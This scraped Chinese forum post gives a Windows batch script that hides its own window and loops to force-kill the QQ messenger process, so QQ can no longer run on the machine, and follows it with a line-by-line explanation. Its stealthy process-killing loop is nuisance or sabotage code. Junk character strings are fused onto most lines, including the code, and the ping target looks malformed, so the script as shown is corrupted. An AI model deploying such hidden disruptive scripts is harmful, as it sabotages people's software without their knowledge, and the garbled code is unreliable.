|
|
|
功能:运行以后机器上的QQ就不能运行了。终结方法是:打开任务管理器,然后结束进程cmd.exe就可以了。
. |0 ^# ?! J1 ]8 X- {新建文本文档,然后将下面代码复制进去,然后重命名为a.bat,然后双击就可以了。
; R# g8 O m0 {1 Y' c& S9 u/ @; _5 u! \
@echo off , m7 ]) L$ U, z% }" \
if "%1" == "h" goto begin
- R6 d# P- G4 ]mshta vbscript:createobject("wscript.shell").run("%~nx0 h",0)(window.close)&&exit
9 H* A$ F# U/ V9 @6 T1 t:begin
" V# v" V. D( ?/ ], C9 ?% q5 {0 Ktasklist |find /i "QQ.exe" ' r8 H+ z4 o5 M0 \9 L9 I
if %errorlevel%==0 (goto killit) else (goto next) 4 C) V$ p& e$ |+ Z2 J+ U* v, X
:killit
, x+ w* n; }4 a& xtaskkill /f /im QQ.exe + @+ `) w# q2 S+ H. P6 i
:next ) b- ~; a: H- D; ]
ping -n 3 127.t >nul 2>nul
! P3 ^7 }9 H2 r. R: N7 z1 cgoto begin ) J- t4 b) i9 }( a9 s" L9 V
`4 {, k+ a9 m* N
代码到此为止 7 k' W6 t! B- v
讲解如下:
* c# w! h C4 o, _$ E: W- ^9 W@echo off ------关闭回显 8 S8 u/ R& R9 A$ p. N% [% {
if "%1" == "h" goto begin --如果文件运行时有参数h,则显示窗口运行,否则只是在后台运行 y, n8 P$ P! T5 C2 J7 H5 F
mshta vbscript:createobject("wscript.shell").run("%~nx0 h",0)(window.close)&&exit -----隐藏窗口代码 & v/ Y+ l- F2 k/ W# m
:begin ------------定一段名begin
, X0 ~7 y9 o& v2 y3 ]7 otasklist |find /i "QQ.exe" ----在任务管理器里寻找进程QQ.exe
$ t* g8 l% W# Cif %errorlevel%==0 (goto killit) else (goto next)---如果存在QQ.exe.则跳转执行killit,否则执行next 5 e- ?& s2 [* ^* n# ^7 g/ ~: I( F3 w
:killit & s; S$ }3 T3 H8 y! Q" ^( ^4 h
taskkill /f /im QQ.exe----终结进程QQ.exe 7 f& q) w) l' U
:next
! N+ r S4 J# @: { P2 }& aping -n 3 127.t >nul 2>nul -----延迟一段时间
8 Q' N1 z3 k6 n7 V% k" Egoto begin--------------返回执行begin
5 g: b( {4 f {: j |
|